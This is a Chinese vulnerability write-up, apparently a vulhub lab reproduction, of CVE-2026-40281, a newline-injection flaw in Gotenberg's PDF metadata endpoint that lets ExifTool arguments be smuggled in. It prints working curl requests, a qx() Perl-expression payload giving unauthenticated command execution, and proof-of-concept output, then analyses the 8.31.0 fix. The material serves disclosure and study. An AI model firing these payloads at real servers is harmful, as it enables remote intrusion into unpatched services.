漏洞概览
Gotenberg 是一个基于 Docker 的无状态 API 服务,广泛用于将 Office 文档、HTML、Markdown 等格式转换为 PDF。它的 PDF 元数据读写功能通过命令行工具 ExifTool 实现,而这个接口中的一个"值未过滤换行符"的疏漏,让攻击者可以把任意参数注入到 ExifTool 的命令行中,最终借助 ExifTool 的 Perl 表达式特性实现 RCE。
值得注意的是,这并非该接口的第一个漏洞:早前的 CVE-2026-42589 是元数据键名(key)注入,8.30.1 版本为此加入了危险 tag 名过滤;而本漏洞(CVE-2026-40281)则是元数据值(value)中的换行符注入,恰好绕过了上一轮针对键名的修复。
环境搭建
使用 vulhub 环境(Gotenberg 8.30.1):
gitclone 后进入 gotenberg/CVE-2026-40281 目录dockercompose up-d服务启动后访问http://127.0.0.1:3000/health,返回"status":"up"即就绪:
{"status":"up","details":{"chromium":{"status":"up","timestamp":"2026-10-08T12:55:16.236911374Z"},"libreoffice":{"status":"up","timestamp":"2026-10-08T12:55:16.236869832Z"}}}容器内的关键组件版本:
- Gotenberg 8.30.1(Go 实现)
- go-exiftoolv1.10.0(Gotenberg 调用 ExifTool 所用的 Go 封装库)
- ExifTool13.25(Perl 5.40.1)
漏洞原理分析
1. 入口:元数据写入接口
POST /forms/pdfengines/metadata/write接收一个 PDF 文件和一个metadata表单字段(JSON 对象),把元数据写入 PDF 后返回处理过的文件。
路由定义在pkg/modules/pdfengines/routes.go:1022:
// writeMetadataRoute returns an [api.Route] which can write metadata into PDFs.funcwriteMetadataRoute(engine gotenberg.PdfEngine)api.Route{returnapi.Route{Method:http.MethodPost,Path:"/forms/pdfengines/metadata/write",IsMultipart:true,Handler:func(c echo.Context)error{ctx:=c.Get("context").(*api.Context)form:=ctx.FormData()metadata:=FormDataPdfMetadata(form,true)// ① 解析 metadata JSONvarinputPaths[]stringerr:=form.MandatoryPaths([]string{".pdf"},&inputPaths).Validate()...err=WriteMetadataStub(ctx,engine,metadata,inputPaths)// ② 写入元数据...},}}FormDataPdfMetadata(routes.go:107)只是把 JSON 反序列化成map[string]any,对键和值的内容没有任何校验:
funcFormDataPdfMetadata(form*api.FormData,mandatorybool)map[string]any{varmetadatamap[string]any metadataFunc:=func(valuestring)error{iflen(value)>0{err:=json.Unmarshal([]byte(value),&metadata)...}returnnil}...}2. Gotenberg 侧:只防了"键名",没防"值"
WriteMetadataStub最终调用 ExifTool 引擎的WriteMetadata,位于pkg/modules/exiftool/exiftool.go:205。8.30.1 版本的实现里可以看到上一轮修复留下的防御——一个针对键名的黑名单过滤:
// Filter user-supplied metadata to prevent ExifTool pseudo-tags from// triggering dangerous side effects like file renames, moves, or link// creation. Comparison is case-insensitive because ExifTool processes// tag names case-insensitively.// See https://exiftool.org/TagNames/Extra.html.dangerousTags:=[]string{"FileName",// Writing this triggers a file rename in ExifTool"Directory",// Writing this triggers a file move in ExifTool"HardLink",// Writing this creates a hard link in ExifTool"SymLink",// Writing this creates a symbolic link in ExifTool}forkey:=rangemetadata{for_,tag:=rangedangerousTags{ifstrings.EqualFold(key,tag){delete(metadata,key)}}}forkey,value:=rangemetadata{switchval:=value.(type){casestring:fileMetadata[0].SetString(key,val)// ← 值原样传入,未过滤换行符...这段代码防住了{"FileName":"..."}这类直接把伪标签(pseudo-tag)当键名写入的攻击(即 CVE-2026-42589 的利用方式),但SetString(key, val)中的值val被原样传递——包括换行符\n。这就是本漏洞的成因。
3. 底层:go-exiftool 的"按行传参"协议
Gotenberg 通过 go-exiftool 库与 ExifTool 交互。这个库没有为每次写操作单独起进程,而是维持一个常驻的 ExifTool 进程,使用 ExifTool 的argfiles 模式(exiftool.go:20):
varinitArgs=[]string{"-stay_open","True","-@","-"}-@ -的含义是"从 stdin 读取参数文件",每一行就是一个独立的命令行参数,-stay_open True让进程读完一批参数后继续等待下一批。写入时(exiftool.go:214的WriteMetadata):
fork,v:=rangemd.Fields{switchv.(type){casenil:fmt.Fprintln(e.stdin,"-"+k+"=")default:strTab,err:=md.GetStrings(k)...for_,str:=rangestrTab{// TODO: support writing an empty string via '^='fmt.Fprintln(e.stdin,"-"+k+"="+str)// ← 一个 "-Tag=值" 占一行}}}fmt.Fprintln(e.stdin,md.File)// 目标文件fmt.Fprintln(e.stdin,executeArg)// "-execute":执行本批参数fmt.Fprintln(e.stdin, "-"+k+"="+str)把-Title=值作为一个整体写入一行。如果str中含有\n,这一个"逻辑参数"就会被拆成两行——也就是两个独立的 ExifTool 参数。
4. 注入链完整梳理
HTTP 请求 metadata={"Title":"test\n-FileName=/tmp/inject_proof"} │ ▼ json.Unmarshal(\n 转义还原为真实换行符) map[string]any{"Title": "test\n-FileName=/tmp/inject_proof"} │ ▼ 键名黑名单检查:Title 不在黑名单 → 通过 │ ▼ SetString("Title", "test\n-FileName=/tmp/inject_proof") │ ▼ fmt.Fprintln(stdin, "-Title=test\n-FileName=/tmp/inject_proof") stdin 实际内容(两行 = 两个参数): -Title=test -FileName=/tmp/inject_proof ← 注入的参数 │ ▼ ExifTool argfiles 协议逐行解释 exiftool ... -overwrite_original -Title=test -FileName=/tmp/inject_proof <PDF路径> -executeExifTool 收到-FileName=/tmp/inject_proof后,会把正在处理的 PDF 重命名/移动到该路径——这是 ExifTool 的官方特性(FileName是可写的"文件系统伪标签"),却被攻击者用来操纵服务器文件。
帮助网安学习,全套资料S信领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC 分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
漏洞复现
复现一:参数注入(-FileName 文件操纵)
先离线生成一个最小合法 PDF(poc.py自带构建逻辑):
python poc.py-otest.pdf然后在Title值中注入换行符和-FileName参数:
curl-s-w'\nHTTP %{http_code}\n'\-F'files=@test.pdf;type=application/pdf'\--form-string'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}'\http://127.0.0.1:3000/forms/pdfengines/metadata/write注意curl的--form-string会把字面量\n(反斜杠 + n)原样发送,服务端json.Unmarshal将其还原为真实换行符。
漏洞版本的返回:
Not Found HTTP 404返回 404 不是因为请求被拒绝,而是因为注入的-FileName参数已经把处理完的 PDF 移走了,Gotenberg 找不到输出文件。进入容器验证:
$dockercomposeexecwebls-l/tmp/inject_proof -rw-r--r--1gotenberg gotenberg3582Oct813:02 /tmp/inject_proof文件确实存在,参数注入成功:
复现二:从参数注入到 RCE
单纯的参数注入已经能操纵文件(改名/移动/软硬链接),但要拿命令执行,需要请出 ExifTool 更危险的特性——Perl 表达式求值。
ExifTool 的-TAG<值语法表示"从表达式取值写入 TAG"(区别于-TAG=值的直接赋值)。其中支持"高级格式化"(advanced formatting)语法${TAG;表达式}:取TAG的当前值赋给$_,执行分号后的任意 Perl 表达式,结果作为新值写回。qx()是 Perl 的命令执行运算符(等价于反引号)。
于是构造 payload:
{"Title":"x\n-Title<${PDFVersion;$_=qx(id)}"}注入后 ExifTool 实际收到的参数:
-Title=x ← 正常参数,占位 -Title<${PDFVersion;$_=qx(id)} ← 注入参数第二个参数的执行逻辑:读取PDFVersion标签(任何合法 PDF 都有此标签,保证表达式被触发)→ 在 Perl 中执行qx(id)→ 命令输出覆盖$_→ 写入Title。命令的输出就这样被写进了 PDF 元数据。
而写入接口会在 HTTP 响应中返回处理后的 PDF,再把它提交给/forms/pdfengines/metadata/read读出Title,即可拿到命令回显。poc.py把这两步串了起来:
$ python poc.py-uhttp://127.0.0.1:3000-cid[*]Target: http://127.0.0.1:3000[*]Command to execute on the target:id[+]Metadata written(HTTP200), reading back the Title of the returned PDF[+]Command output:uid=1001(gotenberg)gid=1001(gotenberg)groups=1001(gotenberg),0(root)$ python poc.py-uhttp://127.0.0.1:3000-c"whoami; hostname; uname -r"[*]Target: http://127.0.0.1:3000[*]Command to execute on the target:whoami;hostname;uname-r[+]Metadata written(HTTP200), reading back the Title of the returned PDF[+]Command output: gotenberg 6dc17a6e1c7c6.18.40.1-microsoft-standard-WSL2命令以容器内的gotenberg用户(uid=1001,注意其附加组包含 root)身份执行,输出从返回 PDF 的Title元数据中完整回读——无需任何认证的远程代码执行:
除-TAG<...重定向语法外,ExifTool 的-if 参数同样会执行任意 Perl 表达式(本用于决定是否处理文件),表达式内使用qx()或system()也能达到同样效果。
修复分析(8.31.0)
8.31.0 的修复在pkg/modules/exiftool/exiftool.go中加入了三道防线,直击注入的根源——控制字符:
// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,// hyphens, underscores, colons, and periods. Rejects control characters// (especially \n) that would inject stdin arguments via go-exiftool's// line-based protocol.varsafeKeyPattern=regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)// validateMetadataValue rejects metadata values containing characters that// could inject ExifTool stdin arguments. go-exiftool writes each key/value// pair as a single line via fmt.Fprintln(stdin, "-"+k+"="+str), so a// newline in the value splits into a second stdin line that ExifTool// interprets as an additional argument. ... The same applies to carriage// returns and NUL.funcvalidateMetadataValue(key,valuestring)error{ifstrings.ContainsAny(value,"\n\r\x00"){returnfmt.Errorf("... invalid metadata value for key %q (contains control character): %w",key,gotenberg.ErrPdfEngineMetadataValueNotSupported)}returnnil}写入路径上的每一处赋值都会调用校验:
forkey,value:=rangemetadata{switchval:=value.(type){casestring:iferr=validateMetadataValue(key,val);err!=nil{// ← 新增...returnerr}fileMetadata[0].SetString(key,val)case[]string:for_,s:=rangeval{iferr=validateMetadataValue(key,s);err!=nil{// ← 新增...键名则从"黑名单"升级为白名单(safeKeyPattern),只有字母、数字、-_.:可以出现在键名中;同时黑名单补充了FilePermissions(防 chmod),并在比较前剥离 ExifTool 的组名前缀(防止System:FileName绕过等价名比较)。
校验失败时错误包装了gotenberg.ErrPdfEngineMetadataValueNotSupported,pkg/modules/api/middlewares.go:65会把它映射为 HTTP 400,所以修复版本对同样的攻击载荷返回400 Bad Request而不是 404。
在 8.31.0 上重放同样的 payload,请求会在validateMetadataValue处被拒绝并返回HTTP 400(错误信息提示至少一个 PDF 引擎无法处理该元数据),注入的换行符再也无法到达 go-exiftool 的 stdin。